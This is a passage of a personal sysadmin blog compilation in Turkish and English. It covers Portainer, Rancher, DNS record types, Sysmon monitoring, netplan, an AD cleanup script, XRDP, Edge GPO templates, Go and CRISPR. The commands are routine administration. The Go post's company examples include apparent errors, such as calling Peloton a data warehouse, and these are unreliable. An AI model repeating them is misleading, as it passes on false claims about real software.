yapabilirsiniz. Stacks: Docker Stack'lerini oluşturmak ve yönetmek için kullanılır. Bir Stack, birden fazla konteyneri içeren ve bunları bir arada çalıştıran bir yapıdır. Bu bölümde mevcut Stack'leri görüntüleyebilir, yeni Stack'ler oluşturabilir, Stack'leri başlatabilir, durdurabilir ve silme işlemleri yapabilirsiniz. Settings: Portainer'ın genel yapılandırmasını yapabileceğiniz bölümdür. Bu bölümde kullanıcı hesaplarını yönetebilir, Docker sunucusuna bağlanma ayarlarını düzenleyebilir, kaynak kullanımını yapılandırabilir ve diğer Portainer ayarlarını değiştirebilirsiniz. Containerlar’a Shell ile bağlanmak: (Exec Console & Attach) Portainer üzerinden herhangi bir Containera shell ile bağlanmak için aşağıdaki adımları izleyebilirsiniz:(Ben Nginx containerine bağlandım) Nginx konteynerinin bulunduğu satırı bulun ve "Quick Actions" (Hızlı İşlemler) bölümündeki "Exec Console" (Kabukta Yürüt) düğmesine tıklayın. "Exec Console" düğmesine tıkladığınızda bir pencere açılacaktır ve karşınıza birkaç seçenek çıkacaktır. Bağlanmak istediğiniz kabuğu seçebilirsiniz. Genellikle "bash" kabuğu kullanılır. "bash" kabuğunu seçtikten sonra "Connect" (Bağlan) düğmesine tıklayın. Bu, seçtiğiniz kabuğa doğrudan bağlanmanızı sağlayacaktır. Ardından, Nginx konteynerinin içinde bir terminal açılacak ve istediğiniz komutları burada çalıştırabileceksiniz. Bu şekilde Portainer üzerinden Nginx konteynerine bağlanabilir ve içindeki kabuğa erişebilirsiniz. Bu şekilde yapılandırma dosyalarını düzenleyebilir veya diğer işlemleri gerçekleştirebilirsiniz. #Nginx Container’ımızı güncellemek , gereli configleri yapabilmek için "Nano Editor" yükleyelim: (Ben nano tercih ettim)apt update && apt install nano#NGINX publish yoluna gitmek için:cd /usr/share/nginx/html#index.html dosyasını editlemek için:nano/usr/share/nginx/html/index.html#Nginx yapılandırma dosyasının doğruluğunu kontrol etmek için:sudo nginx -t -c /etc/nginx/nginx.conf Umarım faydalı olmuştur, Saygılarımla. --- ## What is Rancher? - Rancher Nedir? Link: https://farukguler.com/posts/what-is-rancher-rancher-nedir/ Rancher is an open source platform for managing containerization environments. It is specifically designed to manage and facilitate container orchestration tools such as Kubernetes and Docker Swarm. Rancher has an easy-to-install and use structure that can run in multi-cloud environments (Amazon Web Services (AWS), Microsoft Azure Google Cloud Platform (GCP), VMware vSphere OpenStack DigitalOcean Linode IBM Cloud Alibaba Cloud Oracle Cloud Infrastructure, etc.) and physical servers. #Rancher Install on Docker:#sudo docker run -d --restart=unless-stopped -p 80:80 -p 443:443 --name=rancher --privileged -v /var/run/docker.sock:/var/run/docker.sock -v rancher_data:/var/lib/rancher rancher/rancher#Rancher Startup configurationdocker psdocker logs container-id 2>&1 | grep "Bootstrap Password:"#See Address listhttp://your-server-address:80https://your-server-address:443#Rancher volume: /var/lib/docker/volumes/rancher_data/ --- ## DNS Kayıt Tipleri Detaylı Link: https://farukguler.com/posts/dns-kayit-tipleri/ DNS, İngilizce "Domain Name System" ifadesinin kısaltmasıdır ve internet üzerindeki hizmetlerin doğru bir şekilde yönlendirilmesini sağlamak için kullanılır. DNS Kayıt Tipleri, bir alan adının farklı türdeki bilgilerinin yönetimini sağlar. Şirketler, İşletmeler, web siteleri, e-posta hizmetleri ve diğer internet hizmetleri, uygun DNS kayıt tiplerinin kullanılmasıyla doğru şekilde çalışacaktır. A kaydı (A Record) A kaydı, bir alan adının IPv4 adresini belirlemek için kullanılır. Bu kayıt türü, bir web sitesinin veya diğer hizmetlerin hangi IP adresinde yayınlandığını belirler. AAAA kaydı (AAAA Record) AAAA kaydı, bir alan adının IPv6 adresini belirlemek için kullanılır. Bu kayıt türü, bir web sitesinin veya diğer hizmetlerin hangi IPv6 adresinde yayınlandığını belirler. Alias(CNAME) kaydı (CNAME Record) CNAME kaydı, bir alan adının başka bir alan adına yönlendirilmesini sağlar. Bu kayıt türü, bir web sitesinin veya diğer hizmetlerin farklı bir alan adı ile erişilebilir olmasını sağlar. MX kaydı (MX Record) MX kaydı, bir alan adının e-posta sunucusunun hangi IP adresinde bulunduğunu belirler. Bu kayıt türü, bir alan adı üzerinden e-posta göndermek veya almak için kullanılır. NS kaydı (NS Record) NS kaydı, bir alan adının yetkili DNS sunucularını belirler. Bu kayıt türü, bir alan adının DNS kayıtlarını yöneten sunucuların listesini içerir. PTR kaydı (PTR Record) PTR kaydı, bir IP adresinin alan adını belirler. Bu kayıt türü, bir IP adresinin doğru bir şekilde kimlik doğrulaması için kullanılır. TXT kaydı (TXT Record) TXT kaydı, bir alan adının belirli bir metin bilgisini içerir. Bu kayıt türü, örneğin bir web sitesinin kimlik doğrulama bilgilerini içerir. SRV kaydı (SRV Record) SRV kaydı, bir alan adının belirli bir TCP/IP hizmetinin hangi sunucuda ve bağlantı noktasında sağlanacağını belirlemek için kullanılır. SOA kaydı (SOA Record) SOA kaydı, bir alan adının DNS kayıtlarının yönetim bilgilerini içerir. Bu kayıt türü, bir alan adının kim tarafından yönetildiği, son güncelleme tarihi ve diğer yönetim bilgilerini içerir. SPF kaydı (SPF Record) SPF kaydı, bir alan adının e-posta gönderimine izin verdiği IP adreslerini belirler. Bu kayıt türü, bir alan adının e-posta spam'lerinden korunmasına yardımcı olur ve doğru kimlik doğrulamasını sağlar. DKIM kaydı (DKIM Record) DKIM kaydı, bir alan adının e-posta gönderimini kimlik doğrulamasını sağlamak için kullanılır. Bu kayıt türü, e-posta alıcısına, e-postanın doğru bir şekilde gönderildiğini ve değiştirilmediğini doğrulamak için kullanılır. DMARC kaydı (DMARC Record) DMARC kaydı, SPF ve DKIM kayıtlarını kullanarak e-posta gönderenlerin kimlik doğrulamasını sağlar. Bu kayıt türü, bir alan adının e-posta spam'lerinden korunmasına yardımcı olur ve e-posta alıcılarının doğru kimlik doğrulamasını yapmasını sağlar. Bu kayıt tipleri, bir alan adının doğru bir şekilde yönlendirilmesini, e-posta gönderimini kimlik doğrulamasını sağlamak gibi önemli işlevleri yerine getirir. Her kayıt türü farklı bir amaç için kullanılır ve alan adının sağlıklı çalışması için gerekli olan kayıtların tamamının doğru bir şekilde yapılandırılması çok önemlidir. Bu şekilde kısaca anlattığımız kayıt tipleri dışında daha spesifik bazı DNS kayıt tipleri de mevcut olabilir. Örneğin, CAA kaydı, SIG, KEY, RT, NAPTR kaydı, vb. gibi kayıt tipleri de bulunmaktadır. Ancak, bu kayıt tipleri özellikle belirli hizmetler veya özellikler içindir ve genel olarak pek yaygın kullanılmaz CAA kaydı (CAA Record) SSL/TLS sertifikalarının yönetimi için kullanılır. NAPTR kaydı (NAPTR Record) SIP protokolünde kullanılan telefon numaralarının çözülmesi için kullanılır. SSHFP kaydı (SSHFP Record) SSH anahtarlarının doğrulanması için kullanılır. TLSA kaydı (TLSA Record) SSL/TLS sertifikalarının doğrulanması için kullanılır. DS kaydı (DS Record) DNS'de "Delegation Signer" olarak bilinir ve DNSSEC doğrulamasında kullanılır. DS kaydı, bir alan adının DNSSEC doğrulamasında kullanılan anahtarlarını belirler. SSHFP kaydı (SSHFP Record) SSH sunucularının doğrulanmasında kullanılan anahtarları belirlemek için kullanılır. Aşağıdaki bağlantılara göz atabilirsiniz: Wiki Cloudflare NSlookup. Best Regards. – Saygılarımla. --- ## CyberThreat Hunting with (Sysmon) Link: https://farukguler.com/posts/cyberthreat-hunting-with-sysmon/ Sysmon (System Monitor) is a Windows system service and It is one of the Sysinternals tools. that, once installed, runs permanently on system reboots. Its main function is to monitor system activity and record detailed event information in the Windows event log. Sysmon provides detailed information about changes such as process creation, network connections, and file creation. This information can be collected and analyzed through Windows Event Collection or SIEM (Security Information and Event Management) tools to identify malicious or anomalous activity and provide you with an understanding of how intruders and malware are operating on your network. Some features of Sysmon are: Sysmon does not analyze the events it produces on its own. Additional tools or expertise are needed to analyze these events and draw meaningful conclusions.Sysmon does not try to hide itself from attackers. Therefore, there is a possibility of detection through unauthorized access or malware.It can also be applied as gpo to Sysmon clients https://learn.microsoft.com/en-us/sysinternals/downloads/sysmonhttps://github.com/Sysinternals/SysmonForLinuxConf. files:https://github.com/SwiftOnSecurity/sysmon-confighttps://github.com/olafhartong/sysmon-modularhttps://github.com/Neo23x0/sysmon-config ##Usage on Cmdlet:Install Default: .\Sysmon64.exe -i -accepteulaUpdate existing Configuration: .\Sysmon64.exe -c sysmon-config.xmlShow Configuration: .\Sysmon64.exe -s#Uninstall: .\Sysmon64.exe -uLocation: Event Viewer -> Applications and Services Logs -> Microsoft ->Windows -> Sysmon -> OperationalSpecific Log Size: 1 gigabayt = 1048576 kilobaytLog files dir: %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Sysmon% What events are there in Sysmon? Event ID 1: Process creationEvent ID 2: A process changed a file creation timeEvent ID 3: Network connectionEvent ID 4: Sysmon service state changedEvent ID 5: Process terminatedEvent ID 6: Driver loadedEvent ID 7: Image loadedEvent ID 8: CreateRemoteThreadEvent ID 9: RawAccessReadEvent ID 10: ProcessAccessEvent ID 11: FileCreateEvent ID 12: RegistryEvent (Object create and delete)Event ID 13: RegistryEvent (Value Set)Event ID 14: RegistryEvent (Key and Value Rename)Event ID 15: FileCreateStreamHashEvent ID 16: ServiceConfigurationChangeEvent ID 17: PipeEvent (Pipe Created)Event ID 18: PipeEvent (Pipe Connected)Event ID 19: WmiEvent (WmiEventFilter activity detected)Event ID 20: WmiEvent (WmiEventConsumer activity detected)Event ID 21: WmiEvent (WmiEventConsumerToFilter activity detected)Event ID 22: DNSEvent (DNS query)Event ID 23: FileDelete (File Delete archived)Event ID 24: ClipboardChange (New content in the clipboard)Event ID 25: ProcessTampering (Process image change)Event ID 26: FileDeleteDetected (File Delete logged)Event ID 255: Error --- ## Static IP and DHCP Configuration in Ubuntu Link: https://farukguler.com/posts/ubuntu-server-statik-ip-dhcp-konfigurasyonu/ Show my ip address sudo ip a ifconfig Go to "/etc/netplan/" and edit the required file #sudo vi /etc/netplan/01-netcfg.yaml#sudo vi /etc/netplan/00-installer-config.yaml # This is the network config written by 'subiquity'# Static IP Conf.network: ethernets: ens33: addresses: - 10.5.10.47/24 nameservers: addresses: - 10.5.10.10 search: - guler.com routes: - to: default via: 10.5.10.1 version: 2 # This is the network config written by 'subiquity'# DHCP Client Conf-1network: version: 2 renderer: networkd ethernets: ens33: # Ağ arayüz adınızı buraya yazın, ens33 sadece bir örnektir. dhcp4: true# This is the network config written by 'subiquity'# DHCP Client Conf-2network: ethernets: epns160: dhcp4: true version: 2 Apply network settings configuration changes and update network settings sudo netplan apply Best Regards. – Saygılarımla. --- ## Disabling inactive computer in Active Directory (180 days) Link: https://farukguler.com/posts/disabling-inactive-computer-in-active-directory-180-days/ $DaysInactive = 181$time = (Get-Date).Adddays(-($DaysInactive))Get-ADComputer -Filter {LastLogonTimeStamp -lt $time} -ResultPageSize 2000 -resultSetSize $null -Properties Name, OperatingSystem, SamAccountName, DistinguishedNamE | Disable-ADAccount 1. The $DaysInactive variable is set to 181, indicating the number of days of inactivity after which a computer account is considered inactive.2. The $time variable is calculated by subtracting the number of days specified in $DaysInactive from the current date and time.3. The Get-ADComputer cmdlet is used to retrieve computer accounts from Active Directory based on the filter {LastLogonTimeStamp -lt $time}. This filter selects computer accounts whose LastLogonTimeStamp is less than the specified $time.4. The -ResultPageSize parameter limits the number of results returned per page to 2000.5. The -resultSetSize $null parameter ensures that all results are retrieved.6. The -Properties parameter specifies the properties to be included in the output, such as Name,OperatingSystem, SamAccountName, and DistinguishedName.7. The retrieved computer accounts are piped to the Disable-ADAccount cmdlet, which disablesthe accounts in Active Directory. --- ## Linux Uzak Masaüstü Bağlantısı Link: https://farukguler.com/posts/linux-rdp-uzak-masaustu-baglantisi/ Linux işletim sistemleri, sunucu ve masaüstü gibi çeşitli kullanım senaryolarına uygun olarak tasarlanmıştır. Ancak, uzaktan erişim ve yönetim için yerleşik bir ara yüzleri yoktur. Bu nedenle, Linux kullanıcıları uzaktan erişim gerektiğinde, birçok farklı seçenek arasından seçim yapmak zorunda kalırlar.Bir seçenek, uzaktan erişim için SSH (Secure Shell) protokolünü kullanmaktır. SSH, bir Linux makinesine güvenli bir şekilde uzaktan erişim sağlamak için kullanılan bir protokoldür. Ancak, SSH sadece komut satırı arayüzü (CLI) üzerinden çalışır ve GUI (grafik arayüz) desteği yoktur.Bunun yerine, bir GUI'ye sahip uzak bir masaüstü bağlantısı oluşturmak istiyorsanız, uzak masaüstü protokolleri kullanmanız gerekir. Birçok uzak masaüstü protokolü mevcuttur, ancak en yaygın kullanılanı Microsoft Uzak Masaüstü Protokolü (RDP) ve Virtual Network Computing (VNC) protokolüdür.Linux kullanıcıları, bir RDP sunucusu kurarak uzak bir Windows masaüstüne veya bir VNC sunucusu kullanarak başka bir Linux veya Unix tabanlı sisteme bağlanabilirler. Alternatif olarak, XRDP gibi açık kaynaklı bir RDP sunucusu da kullanılabilir.İşte bu makalede ise XRDP kurulumu ve gerekli Konfigürasyonlara değineceğim. "XRDP" Nedir? XRDP, Linux işletim sistemi üzerinde RDP (Remote Desktop Protocol) bağlantısı sağlayan bir açık kaynaklı bir yazılımdır. XRDP, Windows uzak masaüstü bağlantısı gibi bir uzak masaüstü bağlantısı oluşturmanıza olanak tanır. XRDP, bir X sunucusu aracılığıyla çalışır ve Linux masaüstü ortamlarında (örneğin, XFCE, GNOME, KDE) çalışabilir. XRDP'nin kullanımı kolaydır ve çoğu Linux dağıtımı tarafından desteklenir. https://www.xrdp.org Öncelikle Sunucumuza XRDP paketini yükleyelim. sudo apt update sudo apt upgrade sudo apt install xrdp XRDP konfigürasyon dosyasını düzenleyelim ve servisi restart edelim. #XRDP yapılandırma dosyasını düzenlemek için: sudo nano /etc/xrdp/xrdp.ini #Servisi yeniden başlatalım. sudo service xrdp restart sudo systemctl restart xrdp XRDP için Firewall ayarlarını yapılandıralım. XRDP, varsayılan olarak "3389" portunu kullanır #Firewall (ufw) nin açık olduğundan emin olmak için: sudo ufw enable sudo ufw status #XRDP'nin kullanacağı portu açmak için: Varsayılan olarak, XRDP 3389 numaralı portu kullanır. sudo ufw allow 3389/tcp #xrdp-sesman TCP Portu üzerinden gelen başka bir trafiğe izin vermek için: #sudo ufw allow 3350/tcp #Firewall kurallarını listeyebilmek için: sudo ufw status numbered #IP adresi ve portlardan gelen bağlantılara izin vermek için: sudo ufw allow from 192.168.1.100 to any port 3389/tcp sudo ufw allow from 192.168.1.200 to any port 3350/tcp XRDP servisini yönetmek için gerekli komutlar: #XRDP servisini başlatmak için: sudo systemctl start xrdp #XRDP servisini durdurmak için: sudo systemctl stop xrdp #XRDP hizmetini yeniden başlatmak için: sudo systemctl restart xrdp sudo service xrdp restart #XRDP hizmetinin sistem başlangıcında otomatik olarak başlaması için: sudo systemctl enable xrdp #Ubuntu 20.04'de bir xrdp kullanıcısına sertifika erişimi vermek için: (komutu, "xrdp" kullanıcısını "ssl-cert" grubuna ekler. Bu işlem, xrdp'nin SSL/TLS sertifikalarını kullanabilmesi için gereklidir.) sudo usermod -a -G ssl-cert xrdp #XRDP yapılandırma dosyasını düzenlemek için: sudo nano /etc/xrdp/xrdp.ini #XRDP oturumu açıldığında başlatılacak masaüstü ortamını yapılandırmak için: sudo nano /etc/xrdp/startwm.sh #XRDP hizmetinin durumunu görmek için: sudo systemctl status xrdp #XRDP hizmetini yeniden yüklemek için: #sudo systemctl reload xrdp #netstat ile RDP bağlantılarını dinlediğini doğrulamak için: sudo netstat -plnt | grep rdp sudo netstat -antp | grep xrdp XRDP, den daha fazla performans almak isteğimiz için "Unity" veya "Gnome" masaüstü kullanmak yerine, daha hafif bir masaüstü ortamı olan "XFCE" masaüstü ortamını yükleyelim. "XFCE" Nedir? XFCE, açık kaynak kodlu bir masaüstü ortamıdır. Linux, BSD ve diğer Unix benzeri işletim sistemleri üzerinde çalışabilir. XFCE, hafif bir tasarımı ve minimum sistem kaynağı kullanımı ile öne çıkar. Bu nedenle, daha az güçlü bilgisayarlarda ve düşük sistem kaynaklarına sahip cihazlarda hızlı ve düzgün bir şekilde çalışabilir. https://www.xfce.org #XFCE masaüstü ortamını yüklemek için: sudo apt-get install xfce4 #XFCE masaüstü ortamını başlatmak için: startxfce4 #Oturumunuzu başlattığınızda kullanmak istediğiniz masaüstü ortamını seçmek için: echo xfce4-session >~/.xsession echo gnome-session >~/.xsession ........... ......... .... #İstediğiniz masaüstünden çıkış yapmak veya oturumu sonlandırmak için: xfce4-session-logout gnome-session-quit #XFCE ayarlarını yapılandırmak için: Örneğin, masaüstü arka planını, çözünürlüğü, etc. xfconf-query #XFCE ayarlarını grafik arayüzü kullanarak değiştirmek için: xfce4-settings-manager #XFCE pencere yöneticisini yeniden başlatmak için: xfwm4 --replace #Ekran çözünürlüğünü yapılandırmak için:(Bu komuttan sonra, "Display" ayarlarının yapılandırılması için grafik arayüzü açılacaktır.) xfce4-display-settings #Ses ayarlarını yapmak için: xfce4-mixer “GNOME" Nedir? GNOME, özgür ve açık kaynak kodlu bir masaüstü ortamıdır. GNOME, GNU Projesi'nin bir parçası olarak geliştirilmiştir ve genellikle Linux tabanlı işletim sistemleri için kullanılmaktadır, ancak aynı zamanda diğer işletim sistemleri için de kullanılabilir. https://www.gnome.org #GNOME masaüstü ortamını yüklemek için: sudo apt install ubuntu-gnome-desktop #sudo reboot #GNOMEmasaüstü ortamını başlatmak için: startx sudo systemctl start gdm gnome-session #Oturumunuzu başlattığınızda kullanmak istediğiniz masaüstü ortamını seçmek için: echo gnome-session >~/.xsession echo xfce4-session >~/.xsession ............. ....... ...... ... Umarım faydalı olmuştur. - I hope it was useful. --- ## ADMX Templates for Microsoft Edge (GPO) Link: https://farukguler.com/posts/admx-templates-for-microsoft-edge-gpo/ Microsoft Edge tarayıcısı için ADMX şablonları tarayıcının Grup İlkesi Yönetimi için kullanılmasını sağlar. Policy/Lolitikaları indirme: Microsoft Edge yönetim şablonlarını indirmek için aşağıdaki adımları takip edebilirsiniz:a. Tarayıcınızı açın ve Microsoft'un resmi Edge Enterprise sayfasına gidin. Microsoft Edge Enterprise Sayfası Buradan en son sürümün ADM/ADMX şablonlarını içeren sıkıştırılmış dosyaları indirin. Dosyaları Çıkartma: İndirdiğiniz ZIP/CAB/RAR dosyasını bir klasöre çıkartın. İçinde "Microsoft Edge" veya benzeri bir klasör olmalıdır. ADMX/ADML Dosyalarını DC üzerine Yükleme: "C:\Windows\PolicyDefinitions" (veya benzeri bir klasör) dizinine gidin. Çıkarttığınız "Microsoft Edge" klasöründeki tüm ADMX/ADML dosyalarını aşağıdaki dizinlere kopyalayın. ADMX & ADML:%systemroot%\PolicyDefinitions%systemroot%\SYSVOL\domain\Policies\PolicyDefinitions Grup İlkesi Düzenleme: "gpedit.msc" üzerinde; "Computer Configuration" > "Administrative Templates" ***Benzer yöntemler Google Chrome ve Firefox içinde yapılandırılabilir. Microsoft Edge: Edge tarayıcınız için zorunlu policyleri yapılandırırMicrosoft Edge – Default Settings (users can override): Kullanıcıların değiştirebileceği policyleri yapılandırır.MS Edge Update: Microsoft Edge'in güncelleme süreçlerinin kontrol edilmesini sağlar.Microsoft Edge WebView2: Microsoft Edge WebView2, tarayıcının bir bileşeni olarak kullanılan bir web görüntüleyici kontrolüdür. Faydalı olması dileği ile. --- ## GO (golang) Nedir ? Link: https://farukguler.com/posts/golang-nedir/ Go, Google tarafından geliştirilen açık kaynaklı bir programlama dilidir. 2007 yılında Rob Pike, Ken Thompson ve Robert Griesemer tarafından geliştirilmeye başlandı ve 2009 yılında ilk stabil sürümü yayınlandı. Go, derleyici tabanlı bir dildir ve C ve C++ ile benzerlik gösterir. Ancak Go, daha modern bir dil olup, özellikle dağıtık sistemlerin geliştirilmesinde kullanımı için tasarlanmıştır. Go, hızlı, güvenli ve etkili bir dildir. Çoklu işlemci mimarilerinde performansı yüksek olan bu dil, özellikle sistem programlama, ağ programlama ve web uygulamaları geliştirme alanlarında yaygın olarak kullanılmaktadır. Ayrıca, dilin basit sözdizimi ve kütüphaneleri de geliştirme sürecini hızlandırır. Go, statik bir tip sistemi kullanır. Bu nedenle, hataların çoğu derleme aşamasında tespit edilir ve çalışma zamanında beklenmedik hataların ortaya çıkmasını önler. Ayrıca, Go dilinde hafıza yönetimi otomatiktir ve dilin bir parçasıdır. Bu sayede, programcıların bellek yönetimiyle ilgili sorunlarla uğraşması gerekmez. Go, aynı zamanda çoklu işlem desteği sağlayarak paralel programlama için özellikle uygun bir dil olmuştur. Go rutinleri, hafif ve bağımsız iş parçacıklarıdır ve aynı anda çok sayıda işi yönetebilirler. Bu, programlama işleminin daha hızlı ve daha verimli hale gelmesini sağlar. Sonuç olarak, Go hızlı, güvenli, etkili, modern ve dağıtık sistemlerin geliştirilmesi için tasarlanmış bir programlama dilidir. Özellikle sistem programlama, ağ programlama ve web uygulamaları geliştirme alanlarında kullanılmaktadır. Ne zaman ve kimler tarafından geliştirilmiştir? Go dilinin geliştirilmesi, Google çalışanları Rob Pike, Ken Thompson ve Robert Griesemer tarafından 2007 yılında başlatılmıştır. İlk olarak 2009 yılında resmi olarak yayınlanan Go dilinin geliştirilmesi, hâlâ aktif olarak devam etmektedir. Go, açık kaynaklı bir dildir ve Go kaynak kodu, BSD lisansı altında yayınlanmaktadır. Go'yu neden tercih etmeliyiz? Go dilini tercih etmenin birçok sebebi vardır. İşte bazıları: Performans: Go, hızlı bir derleyici tabanlı bir dildir ve bu nedenle yüksek performans sunar. Özellikle çoklu işlemci mimarilerinde performansı yüksektir ve paralel programlama için özellikle uygundur. Güvenlik: Go, statik tip kontrolüne sahip olduğu için hataların büyük bir çoğunluğu derleme aşamasında tespit edilir ve bu da güvenli bir kod yazmaya yardımcı olur. Hafıza yönetimi: Go, otomatik hafıza yönetimine sahiptir. Bu, programcıların bellek yönetimiyle ilgili sorunlarla uğraşmasını önler ve programların daha güvenli hale gelmesini sağlar. Çoklu işlem desteği: Go, paralel programlama için özellikle uygun bir dildir. Go rutinleri, hafif ve bağımsız iş parçacıklarıdır ve aynı anda çok sayıda işi yönetebilirler. Bu, programlama işleminin daha hızlı ve daha verimli hale gelmesini sağlar. Basit sözdizimi: Go, basit ve anlaşılır bir sözdizimine sahiptir. Bu nedenle, Go kodunun okunması ve anlaşılması kolaydır. Ayrıca, Go dilinin standart kütüphanesi oldukça geniş ve kapsamlıdır. Geliştirme sürecinin hızı: Go dilinin sözdizimi ve kütüphaneleri, geliştirme sürecini hızlandırır. Ayrıca, Go dilinin derleme süreci hızlıdır ve bu da geliştirme sürecinin daha verimli hale gelmesini sağlar. Sonuç olarak, Go dilini tercih etmenin birçok sebebi vardır. Go dilinin performansı yüksek, güvenliği sağlam, hafıza yönetimi otomatiktir ve çoklu işlem desteği sağlar. Ayrıca, dilin sözdizimi basit ve anlaşılır ve geliştirme süreci hızlıdır. Bu nedenlerden dolayı, Go dilinin özellikle sistem programlama, ağ programlama ve web uygulamaları geliştirme alanlarında tercih edildiğini söyleyebiliriz. Go kullanan şirketler hakkında: Go dili, özellikle büyük ölçekli sistemlerin ve yazılımların geliştirilmesi için tercih edilmektedir. Bu nedenle, birçok büyük şirket Go dilini kullanmaktadır. İşte bazı örnekler: Google: Go dilinin geliştirilmesi, Google mühendisleri tarafından başlatılmıştır ve Google, Go dilini birçok projede kullanmaktadır. Örneğin, Kubernetes, Google'ın Go dilinde yazılmış açık kaynaklı bir projesidir. Uber: Uber, birçok önemli bileşenini Go dilinde yazmaktadır. Bu bileşenler arasında, Uber'in gerçek zamanlı veri işleme platformu olan M3 ve bulut tabanlı veri ambarı olan Peloton yer almaktadır. Dropbox: Dropbox, Go dilini özellikle veri arşivleme işlemleri ve ağ trafiği yönetimi gibi yüksek performans gerektiren görevler için kullanmaktadır. Netflix: Netflix, Go dilini özellikle mikro hizmet mimarileri için kullanmaktadır. Örneğin, Netflix'in hata ayıklama ve izleme aracı olan Vector, Go dilinde yazılmıştır. SoundCloud: SoundCloud, Go dilini özellikle yüksek trafikli web uygulamaları için kullanmaktadır. Örneğin, SoundCloud'un API'si, Go dilinde yazılmıştır. Twitch: Twitch, Go dilini özellikle canlı yayın hizmetleri için kullanmaktadır. Örneğin, Twitch'in canlı yayın hizmeti olan Ingest and Transcode Services, Go dilinde yazılmıştır. Bu sadece birkaç örnek olup, Go dilinin kullanıldığı şirketlerin listesi oldukça uzundur. Go dilinin yüksek performansı, güvenliği ve paralel işlem desteği gibi özellikleri, büyük ölçekli sistemlerin geliştirilmesinde etkili olmaktadır ve bu nedenle birçok büyük şirket tarafından tercih edilmektedir. Links: https://go.dev/ https://go.dev/doc/install --- ## CRISPR-CAS9 Nedir? Link: https://farukguler.com/posts/crispr-cas9-nedir/ CRISPR-Cas9, son yılların en popüler moleküler biyoloji araçlarından biridir. Bu teknoloji, gen düzenleme ve düzeltme, genetik hastalıkların tedavisi, bitki ve hayvan ıslahı gibi birçok alanda önemli bir araç haline gelmiştir. Bu makalede, CRISPR-Cas9 teknolojisinin ne olduğu, nasıl çalıştığı ve kullanım alanları hakkında detaylı bilgiler verilecektir. CRISPR-Cas9 teknolojisi, bakterilerin savunma mekanizması olan CRISPR sistemi üzerine yapılandırılmış bir sistemdir. Bu sistem, bakterilerin DNA'sında bulunan virüslerin DNA'sını tanımlayarak, kesip yok etmelerini sağlar. CRISPR sistemi, bakterilerin kendi DNA'larına virüslerin DNA'sından kalan parçaları entegre etmeleriyle oluşur. Bu entegre edilmiş parçalar, tekrarlayan kalıplar ve aralarında bulunan "spacer" adı verilen virüs DNA'sının küçük parçalarıdır. CRISPR-Cas9 sistemi, bu tekrarlayan kalıpların ve spacer'ların yapısını kullanarak belirli bir genetik hedefe yönlendirilebilir. Bu işlem, genetik materyalin belirlenmiş bir bölgesindeki kesintileri hedefleyerek, o bölgedeki DNA diziliminde istenilen değişiklikleri yapmayı mümkün kılar. Bu değişiklikler, genetik hastalıkların tedavisi, genetik mühendisliği, bitki ve hayvan ıslahı gibi birçok alanda kullanılabilir. CRISPR-Cas9 sistemi, bir nükleaz olan Cas9 proteininin kullanımını gerektirir. Cas9 protein, RNA yönlendirme sistemine bağlı olarak belirlenmiş hedef bölgede kesim yapar. RNA yönlendirme sistemi, genetik hedefin belirlenmesinde kullanılır. CRISPR-Cas9 sistemi, geleneksel gen düzenleme teknolojilerinden daha doğru ve daha hızlıdır. CRISPR-Cas9 sistemi, birkaç farklı şekilde kullanılabilir. İlk olarak, belirli bir genin işlevini öğrenmek için kullanılabilir. Bu, genetik araştırmalarda ve ilaç keşfi için önemli bir araçtır. İkincisi, belirli bir genin işlevini değiştirmek veya düzeltmek için kullanılabilir. Bu, genetik hastalıkların tedavisinde ve bitki ıslahında önemli bir araçtır. Üçüncüsü, belirli bir genin işlevini bloke etmek için kullanılabilir. Bu, kanser tedavisinde ve pestisit dirençli bitki üretiminde kullanılabilir. CRISPR-Cas9 sistemi, son derece popüler bir teknolojidir ve birçok ülkede araştırmalar yapılmaktadır. Bununla birlikte, CRISPR-Cas9 sisteminin bazı etik sorunları da vardır. Özellikle, gen düzenleme teknolojilerinin insan embriyolarında kullanılması gibi konularda tartışmalar yaşanmaktadır. Bu nedenle, CRISPR-Cas9 sisteminin kullanımı sıkı bir şekilde düzenlenmektedir. Sonuç olarak, CRISPR-Cas9 sistemi son yılların en popüler moleküler biyoloji araçlarından biridir. Bu teknoloji, gen düzenleme ve düzeltme, genetik hastalıkların tedavisi, bitki ve hayvan ıslahı gibi birçok alanda kullanılmaktadır. CRISPR-Cas9 sistemi, doğru ve hızlı bir şekilde belirli bir genetik hedefe yönlendirilebilir. Ancak, bu teknolojinin etik sorunları da vardır ve sıkı bir şekilde düzenlenmelidir. Bu nedenle, bilim insanları ve etik uzmanları, CRISPR-Cas9 teknolojisinin kullanımını tartışmaktadırlar. Özellikle, insan embriyolarında yapılacak değişikliklerin yarattığı etik sorunlar tartışılmaktadır. Bazıları, bu teknolojinin genetik hastalıkların tedavisinde büyük bir potansiyele sahip olduğunu düşünürken, diğerleri bu teknolojinin insanlığın geleceği için ciddi bir tehdit oluşturabileceğinden endişe etmektedirler. CRISPR-Cas9 sistemi, genetik mühendisliği alanında bir devrim yarattı ve gelecekte de birçok alanda kullanılmaya devam edecektir. Ancak, bu teknolojinin kullanımı, sıkı bir şekilde düzenlenmelidir ve etik sorunlar dikkate alınmalıdır. Sonuç olarak, CRISPR-Cas9 sistemi, hem büyük potansiyeli hem de etik sorunları ile birlikte, moleküler biyoloji alanında önemli bir yere sahiptir. CRISPR-Cas9 sistemi, tıp alanında birçok hastalığın tedavisinde potansiyel olarak kullanılabilir. Özellikle kanser gibi genetik değişikliklerin rol oynadığı hastalıklarda, CRISPR-Cas9 sistemi kanser hücrelerinin genetik materyalindeki hataları düzeltebilir. Böylece, kanser hücrelerinin kontrolsüz büyümesini durdurarak hastalığın ilerlemesini yavaşlatır veya durdurur. Ayrıca, CRISPR-Cas9 sistemi, kalıtsal genetik hastalıkların tedavisinde de büyük bir potansiyele sahiptir. Bu hastalıkların birçoğu, bir veya birkaç genin mutasyonundan kaynaklanır ve CRISPR-Cas9 sistemi, bu mutasyonları düzelterek hastalıkların tedavisine yardımcı olabilir. Bununla birlikte, CRISPR-Cas9 sisteminin kullanımı, bazı riskler de taşımaktadır. Özellikle, hedeflenmeyen genetik değişiklikler veya yan etkiler ortaya çıkabilir. Bu nedenle, CRISPR-Cas9 sisteminin kullanımı özenle planlanmalı ve sıkı bir şekilde düzenlenmelidir. Sonuç olarak, CRISPR-Cas9 sistemi, birçok alanda büyük bir potansiyele sahip olan bir moleküler biyoloji aracıdır. Ancak, kullanımı sıkı bir şekilde düzenlenmeli ve etik sorunlar dikkate alınmalıdır. --- ## Preventing Server Manager From Opening 